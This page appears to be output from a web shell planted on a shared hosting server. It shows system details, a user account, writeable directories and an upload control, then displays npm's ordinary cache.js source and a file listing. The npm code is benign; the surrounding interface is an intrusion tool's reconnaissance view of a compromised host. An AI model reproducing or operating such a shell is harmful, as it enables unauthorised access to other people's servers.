Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /usr/lib/node_modules/npm/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/node_modules/npm/lib/cache.js
'use strict'
/* eslint-disable standard/no-callback-literal */

const BB = require('bluebird')

const assert = require('assert')
const cacache = require('cacache')
const finished = BB.promisify(require('mississippi').finished)
const log = require('npmlog')
const npa = require('npm-package-arg')
const npm = require('./npm.js')
const npmConfig = require('./config/figgy-config.js')
const output = require('./utils/output.js')
const pacote = require('pacote')
const path = require('path')
const rm = BB.promisify(require('./utils/gently-rm.js'))
const unbuild = BB.promisify(npm.commands.unbuild)

cache.usage = 'npm cache add <tarball file>' +
              '\nnpm cache add <folder>' +
              '\nnpm cache add <tarball url>' +
              '\nnpm cache add <git url>' +
              '\nnpm cache add <name>@<version>' +
              '\nnpm cache clean' +
              '\nnpm cache verify'

cache.completion = function (opts, cb) {
  var argv = opts.conf.argv.remain
  if (argv.length === 2) {
    return cb(null, ['add', 'clean'])
  }

  // TODO - eventually...
  switch (argv[2]) {
    case 'clean':
    case 'add':
      return cb(null, [])
  }
}

exports = module.exports = cache
function cache (args, cb) {
  const cmd = args.shift()
  let result
  switch (cmd) {
    case 'rm': case 'clear': case 'clean':
      result = clean(args)
      break
    case 'add':
      result = add(args, npm.prefix)
      break
    case 'verify': case 'check':
      result = verify()
      break
    default: return cb('Usage: ' + cache.usage)
  }
  if (!result || !result.then) {
    throw new Error(`npm cache ${cmd} handler did not return a Promise`)
  }
  result.then(() => cb(), cb)
}

// npm cache clean [pkg]*
cache.clean = clean
function clean (args) {
  if (!args) args = []
  if (args.length) {
    return BB.reject(new Error('npm cache clear does not accept arguments'))
  }
  const cachePath = path.join(npm.cache, '_cacache')
  if (!npm.config.get('force')) {
    return BB.reject(new Error("As of npm@5, the npm cache self-heals from corruption issues and data extracted from the cache is guaranteed to be valid. If you want to make sure everything is consistent, use 'npm cache verify' instead. On the other hand, if you're debugging an issue with the installer, you can use `npm install --cache /tmp/empty-cache` to use a temporary cache instead of nuking the actual one.\n\nIf you're sure you want to delete the entire cache, rerun this command with --force."))
  }
  // TODO - remove specific packages or package versions
  return rm(cachePath)
}

// npm cache add <tarball-url>
// npm cache add <pkg> <ver>
// npm cache add <tarball>
// npm cache add <folder>
cache.add = function (pkg, ver, where, scrub) {
  assert(typeof pkg === 'string', 'must include name of package to install')
  if (scrub) {
    return clean([]).then(() => {
      return add([pkg, ver], where)
    })
  }
  return add([pkg, ver], where)
}

function add (args, where) {
  var usage = 'Usage:\n' +
              '    npm cache add <tarball-url>\n' +
              '    npm cache add <pkg>@<ver>\n' +
              '    npm cache add <tarball>\n' +
              '    npm cache add <folder>\n'
  var spec
  log.silly('cache add', 'args', args)
  if (args[1] === undefined) args[1] = null
  // at this point the args length must ==2
  if (args[1] !== null) {
    spec = args[0] + '@' + args[1]
  } else if (args.length === 2) {
    spec = args[0]
  }
  log.verbose('cache add', 'spec', spec)
  if (!spec) return BB.reject(new Error(usage))
  log.silly('cache add', 'parsed spec', spec)
  return finished(pacote.tarball.stream(spec, npmConfig({where})).resume())
}

cache.verify = verify
function verify () {
  const cache = path.join(npm.config.get('cache'), '_cacache')
  let prefix = cache
  if (prefix.indexOf(process.env.HOME) === 0) {
    prefix = '~' + prefix.substr(process.env.HOME.length)
  }
  return cacache.verify(cache).then((stats) => {
    output(`Cache verified and compressed (${prefix}):`)
    output(`Content verified: ${stats.verifiedContent} (${stats.keptSize} bytes)`)
    stats.badContentCount && output(`Corrupted content removed: ${stats.badContentCount}`)
    stats.reclaimedCount && output(`Content garbage-collected: ${stats.reclaimedCount} (${stats.reclaimedSize} bytes)`)
    stats.missingContent && output(`Missing content: ${stats.missingContent}`)
    output(`Index entries: ${stats.totalEntries}`)
    output(`Finished in ${stats.runTime.total / 1000}s`)
  })
}

cache.unpack = unpack
function unpack (pkg, ver, unpackTarget, dmode, fmode, uid, gid) {
  return unbuild([unpackTarget], true).then(() => {
    const opts = npmConfig({dmode, fmode, uid, gid, offline: true})
    return pacote.extract(npa.resolve(pkg, ver), unpackTarget, opts)
  })
}
Name
Size
Permissions
Options
auth
--
drwxr-xr-x
config
--
drwxr-xr-x
doctor
--
drwxr-xr-x
install
--
drwxr-xr-x
search
--
drwxr-xr-x
utils
--
drwxr-xr-x
access.js
5.539 KB
-rw-r--r--
adduser.js
1.306 KB
-rw-r--r--
audit.js
10.558 KB
-rw-r--r--
bin.js
0.503 KB
-rw-r--r--
bugs.js
0.844 KB
-rw-r--r--
build.js
4.438 KB
-rw-r--r--
cache.js
4.661 KB
-rw-r--r--
ci.js
1.31 KB
-rw-r--r--
completion.js
7.107 KB
-rw-r--r--
config.js
7.434 KB
-rw-r--r--
dedupe.js
4.882 KB
-rw-r--r--
deprecate.js
2.106 KB
-rw-r--r--
dist-tag.js
4.105 KB
-rw-r--r--
docs.js
1.038 KB
-rw-r--r--
doctor.js
3.979 KB
-rw-r--r--
edit.js
1.374 KB
-rw-r--r--
explore.js
1.669 KB
-rw-r--r--
fetch-package-metadata.js
3.969 KB
-rw-r--r--
fetch-package-metadata.md
1.769 KB
-rw-r--r--
fund.js
4.908 KB
-rw-r--r--
get.js
0.229 KB
-rw-r--r--
help-search.js
5.642 KB
-rw-r--r--
help.js
6.354 KB
-rw-r--r--
hook.js
4.616 KB
-rw-r--r--
init.js
2.739 KB
-rw-r--r--
install-ci-test.js
0.475 KB
-rw-r--r--
install-test.js
0.495 KB
-rw-r--r--
install.js
36.47 KB
-rw-r--r--
link.js
5.604 KB
-rw-r--r--
logout.js
1.259 KB
-rw-r--r--
ls.js
16.094 KB
-rw-r--r--
npm.js
14.374 KB
-rw-r--r--
org.js
4.176 KB
-rw-r--r--
outdated.js
12.277 KB
-rw-r--r--
owner.js
6.596 KB
-rw-r--r--
pack.js
11.785 KB
-rw-r--r--
ping.js
1.114 KB
-rw-r--r--
prefix.js
0.322 KB
-rw-r--r--
profile.js
11.134 KB
-rw-r--r--
prune.js
2.228 KB
-rw-r--r--
publish.js
5.141 KB
-rw-r--r--
rebuild.js
2.093 KB
-rw-r--r--
repo.js
1.437 KB
-rw-r--r--
restart.js
0.063 KB
-rw-r--r--
root.js
0.313 KB
-rw-r--r--
run-script.js
5.41 KB
-rw-r--r--
search.js
3.361 KB
-rw-r--r--
set.js
0.27 KB
-rw-r--r--
shrinkwrap.js
9.82 KB
-rw-r--r--
star.js
2.106 KB
-rw-r--r--
stars.js
1.029 KB
-rw-r--r--
start.js
0.061 KB
-rw-r--r--
stop.js
0.06 KB
-rw-r--r--
substack.js
0.497 KB
-rw-r--r--
team.js
4.613 KB
-rw-r--r--
test.js
0.365 KB
-rw-r--r--
token.js
6.658 KB
-rw-r--r--
unbuild.js
4.271 KB
-rw-r--r--
uninstall.js
2.208 KB
-rw-r--r--
unpublish.js
3.51 KB
-rw-r--r--
update.js
2.161 KB
-rw-r--r--
version.js
9.794 KB
-rw-r--r--
view.js
15.11 KB
-rw-r--r--
visnup.js
4.008 KB
-rw-r--r--
whoami.js
1.767 KB
-rw-r--r--
xmas.js
1.624 KB
-rw-r--r--